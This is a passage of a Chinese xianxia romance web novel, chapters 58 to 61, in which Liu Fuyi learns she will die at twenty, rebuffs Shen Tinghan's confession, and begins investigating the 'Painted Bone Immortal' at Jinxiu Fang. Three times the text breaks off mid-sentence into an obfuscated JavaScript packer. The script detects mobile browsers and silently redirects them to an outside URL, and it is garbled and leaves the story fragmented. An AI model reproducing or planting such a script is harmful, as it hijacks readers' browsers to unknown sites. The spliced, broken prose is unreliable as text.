然而过了半晌,数道金雷自柳伏意头顶浇灌而下,却偏偏在最后一刻偏了一寸,明目张胆地尽数劈在她脚边,威力稀松得就连年久失修的砖石地都没有劈烂。 缠心藤灰飞烟灭,一道因果线悄然被弥补,紧接着天命剑上的一道裂痕便随之补全。 柳伏意盯着脚边那处焦黑的砖地眉头紧锁。 她对于天道的意义,似乎比她想象的要更加重要。 可这是为什么?天命足足五代剑主,天道为何单能为她屡次破例? 58. 情意真心 众目睽睽之下,天道对于天命剑主的偏爱足以堵上全修界的嘴。 柳伏意顶着若干或艳羡或嫉妒的眼神,回到栖山阁内,提剑干脆利落地抹了黄岐的脖子。 她起身,冰冷的眼神扫过外面的人山人海,人人都因为她在自己身上略有停顿而胆战心惊。 “回春派,好自为之吧。” 她注意到剑身上弥合的伤口,简单用灵力去了血污,便跨过栖山阁的正厅去往后院。 三人复又跟在她身后,只见她越靠近沈听寒那处禁闭的房门,雷厉风行的作风不由慢慢褪去,变得停顿又迟疑。 她立在那道旧门外,听见屋内传来虚弱细小的咳嗽声。 柳伏意深呼了一口气,抬头往上看了看,良久过后才像是做足了心理准备,推开那扇不设防的木门。 天色尚浅,缥缈的灰云盘旋天边,将这片天地烘托得无比压抑。 她迈步入内,沈听寒才费劲地坐起来,又强撑着气力掀开眼皮,恹恹地看着她。 柳伏意回身合上门,屋内重又变得阴暗幽冷。相似的亮度与温度将他二人默然拉回许多年前的日日夜夜,他们曾经有多亲近,柳伏意如今就有多气愤。 沈听寒看着精神头很不好,唇边一惯挂着的笑意都收敛,双眼深邃无波,静静地看着她,等她诉说她的不满。 “沈听寒,你有必要这么做吗?”她质问道。 柳伏意在他床边坐下,沈听寒默不作声地拢了拢袖子,把身上最轻易可见最血肉模糊的一处伤口藏起来。 他的小动作却躲不过柳伏意的法眼,她憋着一肚子的闷火将沈听寒的手腕从袖中拎出来。 她低头见了几处惨状,同样戴了多年的假面瞬息间破裂,露出她最真实的不加掩饰的真心。 沈听寒白皙的手腕上三日前的伤口仍旧尚未结痂,血管清晰可见地断着,边缘沾染着些许缠心藤的藤枝残叶。 碗大的伤口,一连三四日折磨着他的肉|体。 柳伏意漂亮的眉毛皱成八字,深呼一口气后将脸别开,一面是春风化雨的灵力温暖他,替他弥合这处久久开敞的伤口,一面勾着唇讽刺他。 “我从前怎么不知道你是一个这么爱奉献这么爱牺牲的人?” 沈听寒在她源源不断灵力的护佑之下略有好转,苍白的嘴唇慢慢恢复些血色,也终于有气力开口和她说话。 “我现在也不是。” 她听明白沈听寒的弦外音。 只是因为她足够特别足够重要,他才会不顾一切地想为她做些什么。 柳伏意的表情拧住,她咬着后槽牙抵抗鼻尖翻涌的酸楚,比起昭然若揭的爱,她更能觉察的是自己心里的隐恨。 “你就这么不爱惜自己吗?就因为小时候那点破事你就可以几次三番为我去死吗?!” 柳伏意赌气似的,不加思考,将她多年积攒的负面情绪尽数宣泄。 她的眼神冷漠下来,残忍地扫过沈听寒浑身的破败。 “沈听寒,你的命就这么贱吗?” 冰冷的话语将内室渲染的更加阴气逼人,彼时窗外朝阳初升,柔和的暖光透过窗棂照射进屋里,也打在两人的侧脸。 金色的微光,化不开两人眼底的伤痛。 柳伏意有时候觉得无情道如果真的能斩断情丝那该多好,她就可以肆无忌惮地把所有的想法和盘托出,而不会看着一个人渐渐红了的眼眶,一边说着狠话,一边清晰地感觉到自己的心碎成了好几瓣。 沈听寒嘴唇轻颤,他连一句肯定或否的回答都说不出口。他似乎能看见柳伏意矛盾的内心,她不迟钝,她是不是知道他的真心了呢? 否则她为什么会想哭,为什么又不敢哭。 而这样难以抉择的困境,又是他自作主张带给她的。 沈听寒抿了抿唇,顶着柳伏意堪称怒意的审视,半晌后才憋出一句有气无力的“对不起”。 他的歉意却彻底引燃柳伏意数年来的忍耐,她一瞬蹙眉,话里处处都是尖锐的刺。 “我不需要任何人为我牺牲到这个地步,我根本就不会感谢你,我只觉得你多管闲事。” 柳伏意平静的外表下藏着一颗几乎皲裂的心,等话真的说出口,她又意识到“多管闲事”四个字对沈听寒来说是多么过分。 话已出口,覆水难收。 沈听寒静了片刻,呼吸都紊乱,双目通红,红血丝逐渐从眼角攀缘而上缠绕着他的瞳孔。 他一瞬间不想让柳伏意看见他的脆弱他的失态,别过脸去强硬地将喉头处的苦涩咽下去。 柳伏意也好不到哪里去,她注意到沈听寒脖颈处强撑着的青筋,说话都藏不住颤抖:“你为什么不能像小时候一样自私?” 沈听寒深呼吸,心痛让他的每个动作,每句话,都变得格外可怜。 “我心甘情愿啊。” 两相对望,朦胧的泪眼,柳伏意感觉鼻头好酸。 “我不情愿。” 闻言,沈听寒用尽力气坐直了,捧着她的手轻缓片刻,沉重地呼出一口气,夺眶而出的泪珠就砸在她手背上。 沈听寒挪动的这几厘,牵动他浑身筋脉的痛楚,极强的痛感夺走他所有谋定于心的掩饰。 “柳伏意,对我来说……你就是……” 他抬头,通红的眼眶里再也藏不住满腔的真心:“你的存在,对我而言,非常重要。” 你的悲喜,就足够关乎我生死。 沈听寒抽了抽鼻子,望着柳伏意更加无措的眉眼,故意捧出一抹笑来:“不是因为你儿时拯救我陪伴我,我才亲近你喜欢你。只是我本来就会被你这样……闪着光的人吸引。” “我愿做扑火的飞蛾,你大可不必管我。” 话已至此,沈听寒卸下多年来的心防,终于能够鼓起勇气,问出那个埋藏心底许久的问题。 “柳伏意,我很喜欢、很喜欢、很喜欢你。” “你喜欢我吗?” 柳伏意呼吸一滞,没有那么多意外,却也仍然措手不及,不知如何回应他溢于言表的关心和爱意。 她只一语不发,沈听寒便了然于心,笑了笑,将她拥抱进怀里。 他温和道:“没关系,伏意。任何人的情感都不该成为你的拖累。这是师兄最后一次逾矩了,对不起。” 柳伏意顿了顿,轻轻拍着沈听寒的后背。 他很快放开了,重新躺回冷冰冰的灰墙上,笑容很假,但无懈可击。 “不必多想,或许过些天我也会遇到另外一个闪着光的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324224|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那……祝师兄早晚如愿。” 两个人都故作轻松,言不由衷。 柳伏意只知道自己曾对沈听寒动过心,但这之后的许多问题,她却从来都没有考虑过。 一个拿了天命剑的家伙,月余不到便给身边的人带来了这样多的危险,她一个人离群索居才是应当的。 她或许可以动心,但不能真正和别人两情相悦彼此青眼。 柳伏意想起自己的身份,想起从小到大所受的教导,只觉周身都压着沉重的枷锁。 她起身步履些许不稳,打开门,与外头的三人将好打了个照面。 顾元香最先反应过来,尴尬的笑容凝在脸上。柳伏意淡然拭去眼角的泪痕,不知道自己还应该说什么,转身便回房间合了门。 阮长风玄易和顾元香对了一眼,他们大步闯进沈听寒的卧房,也被满室的狼藉震惊一瞬。 阮长风坐在床边,没忍住替他惋惜:“哎呀你怎么能这么随随便便地就表白了?不是你说做什么事情都要计划好吗?” 顾元香将门关上,随即一蹦三尺高:“对啊!!!你怎么能跟她说你可能还会遇见别的喜欢的人!?” 玄易默默摇了摇头,扯了一把阮长风的衣袖:“别在这里打扰他了,他的身体需要静养,这一遭气息不稳,连说话都费劲了。” 见对面二人没有要走的意思,玄易才抱臂无奈地感慨道:“哎,由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。” 顾元香瞥他一眼:“你叽里咕噜说啥呢?” “两个口是心非的傻瓜罢了。”玄易长叹一口气,“沈听寒不想让自己的感情影响师姐的大道,师姐呢也不希望自己影响沈听寒的一生。明明都是在为对方考虑,怎么就不能好好说清楚呢?” 注意到身后沈听寒死一般的寂静,玄易终究软了软语调,不再显得隔岸观火高高挂起。 “师姐犹豫的应该是自己能不能爱,而不是爱不爱。” 顾元香没有这方面的经验,撞见她满脸的疑惑,玄易不用她问便自顾自地站在沈听寒身后,伸手轻轻按住他的手臂。 “如果真让师姐选择一个人相爱相恋,那个人只会是你。” 三人静默无言,良久过后,听见沈听寒淡淡道:“我明白。” 一室之隔,柳伏意抚着自己久久不平的心跳,听见识海深处一道缥缈又虚妄的男女声。 ——“你不该动心的。” ——“你触犯天理了。” 这声音很是熟悉,像是曾经的天命,只是比天命剑灵的温和更多几分威严肃穆。 识海中的诘问仍在继续,柳伏意乍然感觉灵台因为这数道诘问而不稳,天翻地覆之间,劈头盖脸地砸下来一道连贯的法术。 她几乎是在避无可避的情况下,被迫运走灵力,启用了那道不可细查的法术。 柳伏意肺腑翻腾,喉头处的苦涩被一抹浓厚的腥甜取代。一股大力从内而上席卷而来,她猝不及防地喷出一大口鲜血。 识海中那道术法显化而出的天道指引也毫无歧义,明明白白地指示着她所剩无几的寿命。 柳伏意盯着那近的恐怖的数字二十,五雷轰顶般,将天命剑狠狠地掷在地上跺了几脚。 “骗子!!” 59. 古碑余恨 回春派之行约莫就要结束了。 顾元香看着黯然伤怀的沈听寒,垂头丧气地跟着阮长风玄易走出他的房间。 “你这个表情,我怎么觉得这么……不怀好意?”阮长风瞥见顾元香飞舞的两条眉毛,合上了沈听寒的房门。 顾元香适时答道:“我觉得他俩也就是被什么责任啊道义啊绊住了,但我听皓月师父说,伏意姐本来就不相信无情道啊。” 她不必往下多说,精明的和尚已经明白她的意思。玄易刮了刮下巴略作思考,便由着她去了,提点道:“你去找她聊天谈心也好,注意分寸便是了。” 顾元香点点头,她满心想着相思树下,沈听寒举着那张姻缘牌的模样,脑海里排布了数十种说法劝服柳伏意。 然而她自认为灵活的嘴皮子在她一把推开柳伏意的房门时瞬间变得重如千斤。 柳伏意正踩着天命剑,身前一滩新鲜猩红的血液。 顾元香眼睛瞪的滚圆,立刻扶住她胳膊问:“师姐你吐血了?为什么?” 闻言,方转过身的二人同时从屋外跨进屋内,嘴里带着同样的问句,杵在柳伏意面前,三脸急切,盼她个答案。 柳伏意不言,她眼里的怒意尚且没有平息。顾元香便只能吞了吞口水,将天命剑拾起来。 她递给柳伏意,而柳伏意不接。 “怎么了?” 柳伏意转身坐在榻上,顺手倒了一杯茶水喝下去,冲淡嘴里浓烈的血腥味。几种说辞在她嘴里过了几番,似乎都各有弊病。 片刻过后,她才道:“我……身体不太好。” 一语即出,三人同时鸦雀无声。 顾元香终于明白柳伏意为何摔剑,她随手将剑扔在一旁,重剑撞得满桌茶杯叮当作响,进而跨一步坐在柳伏意身边,柔声问:“是因为拿了剑吗?” 阮长风和玄易只盯着她的表情,希望从那么点细微的痛苦愤恨里找到一点蛛丝马迹。 “或许吧。”柳伏意笑了笑,她此刻心如死灰,连唇色都暗淡下去,“天命曾经说,只要我能够斩孽缘攒功德,我不但不会早死,反而还有可能长生。” 她勾唇一笑,无比苍凉。 柳伏意看着顾元香,微微叹了一口气,所有心里话又被她尽数咽下。 她一点都不想做什么天命之女,也不想天赋异禀,承担这么多人的希冀也背负这么多责任。 连喜欢这一件事,她都不得不回避。 四下静谧,在三人关切心疼的目光之下,柳伏意骤然明白了自己的感情。 她就是喜欢沈听寒的啊。 她从小到大靠近他,包容他,跟他得寸进尺,永远不担心他会离她而去,这似乎早就超越了师兄妹的范畴。 柳伏意思绪越深,识海深处与灵台之上传来的震感就愈发强烈。 脑中回荡着的男女之声瞬间只剩下男声的歇斯底里。 金色的法则碎片不断从《天命剑使用指南》的白纸黑字上跳脱而出,拼凑成一个又一个她看不懂的咒术。 同样的套路,却是不同的效果。 柳伏意眼前忽然发黑,直愣愣地栽倒下去。 她的肉身自此没有意识,而再睁开眼,云山雾绕,沧海之巅,一处熟悉又陌生的山川绘卷自眼前铺展而开。 这番景象她也并非不曾见过,这眼前孤立高耸的便是梦中那处失落的神山,东极山。 柳伏意试着往前摸索,神山的风雪刮骨极寒,每一步都仿佛是真的身临其境。 男声的指引仍在继续,并不苍老,反而情绪饱满,像是酝酿了千万年后,重见故人的欣喜若狂。 柳伏意一路爬至山巅,低头伸手拨云见日,鸟瞰而去沧海无涯,而只在她身旁半尺之地,立着一座硕大无朋的石碑。 所谓硕大,非人力所能及,而这石碑上无字无名,却隐隐透着冲天的恨意。 下一瞬,石碑之上强烈的灵力冲破而出,冥冥之中硬是打中了柳伏意这团飘渺的魂灵,将她剥离于东极山之外。 凝结的阴郁掠过她全身,紧接着石碑之中天命剑灵脱碑而出,面带慈祥温柔的浅笑。 柳伏意挣扎着,只见剑灵与石碑同样高大,祂俯身捧起柳伏意,轻柔地吹拂她,弥补她身上的伤口。 祂说:“伏意,不要听他的,回去吧,我很快会回到你身边。” 柳伏意丝毫感觉不到剑灵的恶意,仿佛这妄图将人撕碎的恨都只来自那座石碑。 而剑灵不过是镇守厉鬼坟墓的守墓人。 思及此处,柳伏意才注意到,石碑中的剑灵也只有女声。识海中的男声与这道女声混合在一起,就是她往常听过的,剑灵天命的声音。 “我二十岁会死,是真的吗?” 剑灵柔和的微笑肉眼可见地顿了半刻,随即高深地微叹口气,安慰她说:“生生死死,谁又说的准呢?花落成泥,花也并未消失啊,只是换一种方式存在罢了。” “这里是东极山?东极山真的存在?”柳伏意起身,有天命在旁陪伴,她一点儿都听不到识海中那道仿若催命的男声。 天命几乎有问必答:“是,可你找不到这个地方,时机未到,任何人都无法解开东极山的封印。” “还要等到什么时候?” 天命轻柔地抚着她的长发,金色的碎片如同灵蝶围绕着柳伏意身边盘旋飞舞。 天命娓娓而谈:“一如这些金色的法则碎片,碎片集齐,才能将你的神识带来与我相见。你要进入东极山,还差三块碎片。” 柳伏意转了转眼,问道:“和九命狐和缠心藤一样?还差三个?” “嗯。”天命回眸望了一眼震动的石碑,眼波之中流淌着挥不去的伤怀。祂重新看着柳伏意略显稚嫩的眉眼,无奈地浮出一抹浅浅的笑。 “伏意,别听任何人的话。” “回去吧。” 女声寥落,灵台在天命的帮助下重又稳定,以至于柳伏意能够感应出下一块碎片的位置。 脑海中修界五洲四海的舆图铺展开来,唯有一处泛着金色夺目的光泽。 锦绣坊。 等柳伏意醒来,沈听寒等人已经全都守在她身边。沈听寒似乎是回光返照一般,收拾好了身上的各处伤口,面色也不如方才惨白。 他捏着她的脉,不知费了多少的灵力替她检查身子。 “师姐!你醒啦!”顾元香呜咽着,抱着她的一只胳膊泪如雨下,嘴里不住地念叨着,“怎么会突然就又吐血又晕倒呢,沈听寒说你也没中毒啊……” 柳伏意的目光顺着自己腕上那节手指往上看去,最终落在沈听寒脸上,将他脸上的恍然和心疼都收归眼底。 阮长风轻轻拍了拍沈听寒的肩,小声问道:“你可看出来哪里出问题了?难道是因为天命毁剑,影响伏意了?还是……” 阮长风像突然咬了舌头噤默不言,玄易呵呵一笑,看热闹不嫌事儿大,将他吞了的后半句给补上:“还是因为师姐动心了,无情道毁了?” 沈听寒无视他们的揶揄,语调是前所未有的严肃:“身体已经痊愈了。唯一的可能……” 他直勾勾地盯着柳伏意的双眼,字字句句斩钉截铁:“是阳寿的问题。” 闻言,三人不由“啊?”了一声,阮长风忍不住上手量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336379|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下沈听寒的体温:“没发烧啊,那你疯了吧?虽然我等修仙,但也就是凡夫俗子,阳寿这种东西怎么可能真的有?” 玄易点点头:“你们医修都精进到这个程度了?那为什么李广白还没长生不死。” 沈听寒毫不理会他二人,只拉着柳伏意的手,柔声问她:“我说的,对与不对?” 话音甫落,其余三人一样,心若擂鼓,等待着柳伏意的答案。 她叹了口气,瞒来瞒去她也累了,这副残躯估摸着也遭不了什么天谴,便开口说:“对,到了二十岁就会死。” 顾元香冷不丁倒抽一口凉气,好像有什么东西在她心里崩塌。 柳伏意现如今,很快就要到二十岁了,不过是两三个月的光景了吧。 “你怎么猜出是阳寿的问题?” 沈听寒默了默,道:“黄泉剑主苏墨言,死时由药师谷的谷主验尸,并且记录在案。她没有伤,反而身体各处比许多人都要健康,死的就像睡着了。当年的谷主便提出阳寿不足的概念,借此肯定修界人间之外,确有神明所在。” 柳伏意点点头,思来想去症结还是在天命剑上,于是顶着四人好奇探究的询问,终究是把所谓的孽缘主线说了个大致。 “补齐剩下的三块碎片,我就能到东极山,问清楚一切。”柳伏意自言自语道。 可谁也不知道这二十岁的死劫,究竟会在除妖的路上,还是在最终解开谜底的东极神山之上。 顾元香扯了扯她的衣袖:“师姐,我陪你一起去吧。出了回春派后,你打算去哪?” 柳伏意没有答话,凭借对那些法则碎片的印象,似乎领悟了天命剑谱之中某几页的鬼画符。 她抬手按在沈听寒胳膊上,无垠温和的灵力涌进他体内。 伤口迅速愈合,面色也极速回暖,淡青的灵力消弭他无论是□□还是灵魂上的一切伤痛。 沈听寒只蹙了蹙眉,道:“你的力量,不太对。” 阮长风叉着腰,问:“哪里不对?” “和方才她给我疗愈的灵力相比,此时此刻的力量更多的是天然为她而生的感觉。”沈听寒顿了顿,“她用了这么多灵力,而灵台毫无波动。” 顾元香见柳伏意和沈听寒已经有了眉目,长嚎一声道:“喂喂喂不要打哑迷了!到底咋个事儿?” 柳伏意轻轻捏了捏她的脸颊,接下去道:“灵力是修士后天修炼而成的,而天命给我的力量是与生俱来。” “也就是不会枯竭,并且至纯至强,是属于天道的力量。”阮长风看着顾元香的表情便知她还一知半解,故而进一步补充半句。 柳伏意低了低眉,几人又同时语塞。 难道正是因为这不容置疑的强大,才会不断耗损她的阳寿吗? 顾元香轻轻捏了捏她的手:“就算如你所说,我们都只剩下一年不到的时间和你相处,是不是也应该问问我们的意见?” 她声音略微颤抖,继续道:“不要觉得是为了我好,就抛下我一个人上路。你自己走了,孤孤单单的那么可怜,我也不会好的。” 柳伏意眸光微动,未及去哄,便听得阮长风说:“就是啊,大师兄几十年前就死过一回了,没啥了不起的。我才不会因为怕死让你一个人走呢,那大半夜想起来不得甩自己俩大耳刮子。” 沈听寒自是不用发声,玄易行了个佛礼:“再说,但行好事,莫问前程。能救那么多条人命,机会也难得,让我们陪着你吧。” 柳伏意的目光在几人熟悉的面孔上流转而过,终于启唇:“下一处碎片在锦绣坊,修整一日再起身吧。” “好~!” 60. 画骨仙(一) 越州市井之中人声鼎沸,锦绣坊一改往日仙门的遗世独立之风建于集市内,却好似天然与人间有一层无形的壁垒,将一切热闹和温情都隔绝在外。 一门之隔,屋外桂花酒香,屋内尸首横陈。 大师姐岳潇手上卷弄着鞭子,鞭尾自然垂下,撩过数具女子的面庞。 清一色的无脸女子,死的蹊跷,全数暴毙,浑身的血肉似乎都被什么吃干净,只剩下一具枯骨惨淡地盖着一层枯黄油腻的人皮。 金碧辉煌的舞坊中没有明灯,暗红轻盈的纱幔随风轻扬,夜风冲淡坊内刺鼻难闻的尸臭味,以及一阵若有似无的墨香。 岳潇身前数十步之外,锦绣坊坊主荣锦绣侧卧在贵妃榻上,眉宇间隐有愁容。 她双指摸索着金玉酒樽,将里头的琼浆玉露一饮而尽,眸光愈加深邃,最终落在岳潇身上。 “缠心藤一事几乎将回春派百年来三家割据的局面瓦解,这个天命剑主,没有我们想的那样简单。” 荣锦绣红唇微动,目光不由自主地落在底下数十具尸首上。 她身为坊主,日夜与底下的弟子们相处,如今即便是她们脸部模糊失去五官,她也能够凭借姑娘们身上的饰物和特征大致辨认出她们的身份。 岳潇微微叹了口气,一个眼神扫向手下的人,弟子们便麻利地将尸首上的白布重新盖上。 “师父,那这些尸首……我们是交给灵剑派,还是……藏起来?”岳潇试探性道。 荣锦绣想起宗门大比那天,那个发丝飞扬眼神浑然的少女,无奈摇了摇头:“回春派的消息传的可迅速,天命剑主何等的风光,一伸手一蹙眉,传言中常人难以触及的宿命因果就能凭她的一己好恶而显化。你觉得我们就算把尸首藏起来,柳伏意就没办法发现的了吗?” 岳潇一时着急了,连忙快步蹲到荣锦绣身边,小声提醒道:“可此事说不明白的!回春派尚且三家分权,方便推诿,而我们锦绣坊可就师父您一个人!要是那柳伏意铁了心要追责,您又当如何?” 荣锦绣哪能不知身为坊主,自然要为座下弟子的生命负责,她正要出言安慰岳潇,便陡然察觉门外一阵令人毛骨悚然的威压正缓缓袭来。 荣锦绣猛然坐直身子,一手轻轻按在岳潇肩上:“说什么都来不及了,他们已经来了。” 下一刻,以仙术禁闭的坊门被破开,数十具尸首曝露在夜光之下。 荣锦绣迎上去,恭恭敬敬地向她俯首行了个礼,未及将腰弯下去,便被柳伏意伸手扶了起来。 “前辈没有向我行大礼的必要,此番前来想必坊主也略有耳闻吧?” 荣锦绣给岳潇递了个眼神,她便适时地越过几人重新将门合上。屋内几盏油灯之内数只灵蝶轻歌曼舞,点点幽蓝的灵光随即照亮整个略显诡异的舞坊。 蔚蓝灵蝶冲破桎梏,几圈飞舞,最终停留在无脸尸的嘴唇部位。蝴蝶轻扇双翅,一阵不大不小的风便掀开数十条白布,露出底下空若无骨的尸首。 顾元香一骇,往后猛然大退几步,手肘便不受控制地给了阮长风一个肘击。 阮长风吃痛地“嗷”了一声,正欲发作,抬眸便借着灵蝶的光芒瞥见了顾元香脸上极其扭曲的表情。 她的反应太大了,甚至有些此地无银三百两的刻意。若非知情,怕是要引人往元凶的方向去猜了。 阮长风与玄易对上一眼,玄易默契地与他错身,迈步上前与柳伏意沈听寒并肩,遮挡住阮长风拉着顾元香后退的小动作。 “你怎么了?你看的尸体一点都不少,怎么偏偏这次吓得魂不附体一样。”阮长风压低着声音,顾元香生生吞了几口唾沫,仍然感觉喉头一片干涩,脊背冰凉如坠冰窟。 她咂了咂嘴,替自己顺了顺差点从喉咙里跳出来的心脏,小声回应说:“无妨的无妨的,就是这个场景让我想起来之前在西域的时候……还有些后怕。” 西域那处是个什么样的所在,除了顾元香其余人等无从知晓,剩下几人听她这么说,只当她曾见过这作乱的妖罢了。 此番却是不用顾元香抽丝剥茧,反倒是荣锦绣将锦绣坊内发生的一切悉数奉告。 荣锦绣引几人去到锦绣坊内的议事厅,厅中各处都与大殿截然不同,没了柔美的红绡绸缎,各处是青黑铜铁,一派的庄严肃穆。 岳潇给几位斟茶,便听得荣锦绣道:“此事在锦绣坊内并非秘密,与回春派缠心藤终究是有所不同的。” 她打量着柳伏意的神色,见她没什么特别的反应才继续道:“不知各位可有听说过画骨仙这个名号?锦绣坊数月前便在年轻弟子之中流传着一个传闻,说是西市坊来了一位俊美的仙人,柔骨绘面,如女娲临世。只要经他笔下画过的姑娘,第二天便会从皮囊中脱壳重生,变为聘婷美人。” 顾元香点点头,补充道:“噢,画骨仙,我听闻过。可这传闻中的仙人给出绝世美貌的同时,也会告知弟子们不可避免的代价吧?” 荣锦绣的沉默算是肯定,良久过后她才重新望着柳伏意:“仙人早已说过,美貌犹如昙花一现,紧随其后的只会是无边的折磨。” 沈听寒敏锐地捕捉到她话中隐藏的意味,勾着嗓音试探道:“所以哪怕那位画骨仙事先说过,美貌可维持的时间不长,后果恐怕是身死,也有数不清的姑娘们前赴后继?” 灵蝶微光扑朔,将议事厅衬托得更加沉闷。 “不只是姑娘,也有男子。锦绣坊不比灵剑派等仙门,少男少女们必须克己复礼,锦绣坊建于红尘,自然接纳红尘,男欢女爱实属常事。男子会嫌弃女子容貌不够美艳,那么女子同样也会嫌弃男子面容不够俊朗。” 荣锦绣从背后抽屉中抽出一卷竹简,哗地一声将竹简摊开,每一根简上都写着男男女女的名字:“而且画骨仙起源于人间的西市坊,起初并不在仙门内。毕竟是心甘情愿做的交易,我们也没有办法插手。” 确如其所言,柳伏意一一看了厅中陈列的尸首,并无异样,似乎你情我愿的交易,更谈不上违背什么天理。 柳伏意立在夜市街口,除却人间扑面而来的烟火气,四面八方天地自生的生气,便还是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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提起唐司缘,柳伏意总有种隐隐的预感。说来每一块碎片都对应着一处妖邪,而妖邪却都是由孽缘引起的…… “锦绣坊内可有什么……八卦轶闻?最好是,爱恨纠葛难以看开,碧落黄泉绝不放过的那种孽缘。”柳伏意自己都不是很肯定,然而一提到八卦,荣锦绣反而更加自在。 岳潇抿了抿唇,从腰间取下一连串钥匙来:“清律长老明鉴,这是记载锦绣坊各个弟子情史的书阁钥匙……您想要的恨海情天痴男怨女不在少数,不知有无更加进一步的指示?我也好帮您筛选筛选?” 柳伏意接过那串钥匙来,跟着岳潇轻挪数步,停顿在一面高耸如山的书阁之前。 “你不要告诉我整一面墙记录的全是弟子的情史。”柳伏意扶额,想要苦笑都提不起唇角。 岳潇微微俯首摇了摇头,不等柳伏意舒心片刻,便听她补充说:“长老误会了,这一阁记录的只是近十年的怨侣系。” “……” 61. 画骨仙(二) 柳伏意无奈摇了摇头,她根本没时间一步步在这儿耗着看旁人的生平。 顾元香看出她的思绪,上前揽住她的胳膊,转而道:“不如由岳师姐先挑选一部分因画骨仙丧了命的,或是与死者关系密切的,汇总之后或许会有旁的线索呢?” 柳伏意没开口,岳潇便也明白她不想多耽搁时间,朝顾元香笑笑将此事包揽下来。 荣锦绣抱着双臂,更像把柳伏意看作是救星。 她努努嘴,指向内院一处孤僻的院落,里头似乎长久无人打扫,积了厚厚的一层黄叶。 “那是唐司缘的屋子,她毁容后心情一直不好,所以她的院子没人敢去。” 荣锦绣抿了抿唇,终究还是把西市坊那块儿的情况解释了一番:“民间不认为画骨仙是妖邪,反而认为是重塑皮相的神仙。锦绣坊曾经牵头去找他处理换脸害命一事,倒是被西市坊的百姓给打了出来……” 阮长风了然于胸,及时在柳伏意身旁提点一句:“前辈的意思是,不能以仙门人的身份前去,容易打草惊蛇。” 话音刚落,一阵朽木的味道从侧方吹拂而来,几人鼻间乍然吸入腐朽潮湿的霉味儿,霎时间数道目光都落在唐司缘那扇木门上。 木门依稀被啃出几个虫眼儿,底下青绿的苔藓一路渲染,将这座近乎无人的宅子衬得更加阴森。 “窗户。” 柳伏意轻声提醒一句,玄易便紧接着她的话茬往小屋的窗下拐去。 唐司缘覆面欲逃,红纱之下隐隐能够瞥见她被烧伤的疤痕。 粉色的新肉长满右半边脸,左右脸的皮肤一面白皙如玉,一面却犹如炸开的血泥。 玄易怔愣一瞬,一手钳住她的手腕,不由分说地将她从窗旁拉到众人面前来见了光。 唐司缘一看人不少,便忍不住把头埋下去。 阮长风将她的一举一动都看在眼里,实在有些于心不忍。 他当年见到唐司缘的时候,唐长老尚且风华正茂,一人执一杆红缨枪便可独守一城。 城楼之上旌旗飞扬,赭红侠衣的姑娘马尾束起,昂首挺胸,巾帼须眉。 那一眼成了许多人半生难忘的回忆,唐司缘这个名字也代表着锦绣坊女子的傲骨侠情。 阮长风握着拳,声音却是柔和的。 “唐长老也会因为外貌,弯下自己的腰吗?” 他后退一步,为唐司缘空出面前一丈之地,不至于让她心神不安。 “晚辈一直记得,锦绣坊女子有三成都源于长老守下的青城。” 阮长风不必把话说尽,唐司缘便能明白他的意思。 她从前是个能够改变女子命运的天骄,如今为何要因为皮囊相貌自贬? 唐司缘扫过面前的几位,清一色的青春美貌,各有风彩。柳伏意面容清冷淡漠从容,做男做女怕都是一把好手。 顾元香不必说,天然一副人畜无害的笑像,单看她的长相便不自觉地想要和她亲近。 荣锦绣身为锦绣坊的坊主,与当年的合欢宗宗主姜美娘同样以美貌闻名修界。 就算是这些男子,剃了头的,毁了道的,身体弱的,五官却都周正俊朗。 唐司缘不由哂笑几声,抱臂后退一步,毒辣的目光在每人身上从上到下打量而过,笑道:“因为各位的皮囊都是万里挑一的好,才不觉得画骨仙对寻常人来说有多重要。” 唐司缘挑着眉,故意盯着柳伏意把话说绝:“清律长老自入道起便是一路坦途,当真明白什么叫自卑吗?” 她眉心微皱,心底潜藏的不安都化为眉间的一汪春水。 “你不理解,所以你没有办法解决画骨仙。” 柳伏意如今却是更加不拘一格,只待唐司缘将话说完,她便淡淡地给唐司缘下了最后通牒:“你说谎了。” 柳伏意指尖淡金色的灵力悄然散去,缕缕微光钻进她瞳孔,终于扒出唐司缘缝缝补补的皮囊之下,倔强又孤傲的灵魂。 唐司缘闻言立刻换了辞色,无论方才是多么的云淡风轻运筹帷幄,此刻也切切实实地失了方寸。 柳伏意竟能悄无声息地给她下真言咒,况且真言咒游走过她全身竟毫无严刑逼供的痛感? 顶着唐司缘防备的审视,柳伏意也开门见山:“你不让我去,是想自己解决西市坊动乱的,是不是?” 唐司缘紧抿着唇,舌头却好像不受控制,不断逼迫着撬开齿关,憋出一个音节来。 “是。” 柳伏意浅浅抬了抬眼,问题更加尖锐:“你认识画骨仙。” 唐司缘双目登时瞪的滚圆,连忙用双手把嘴捂上了。 柳伏意见此也不过点点头,无所顾忌地追加灵力,继续问:“他是谁?” “齐、尘。” 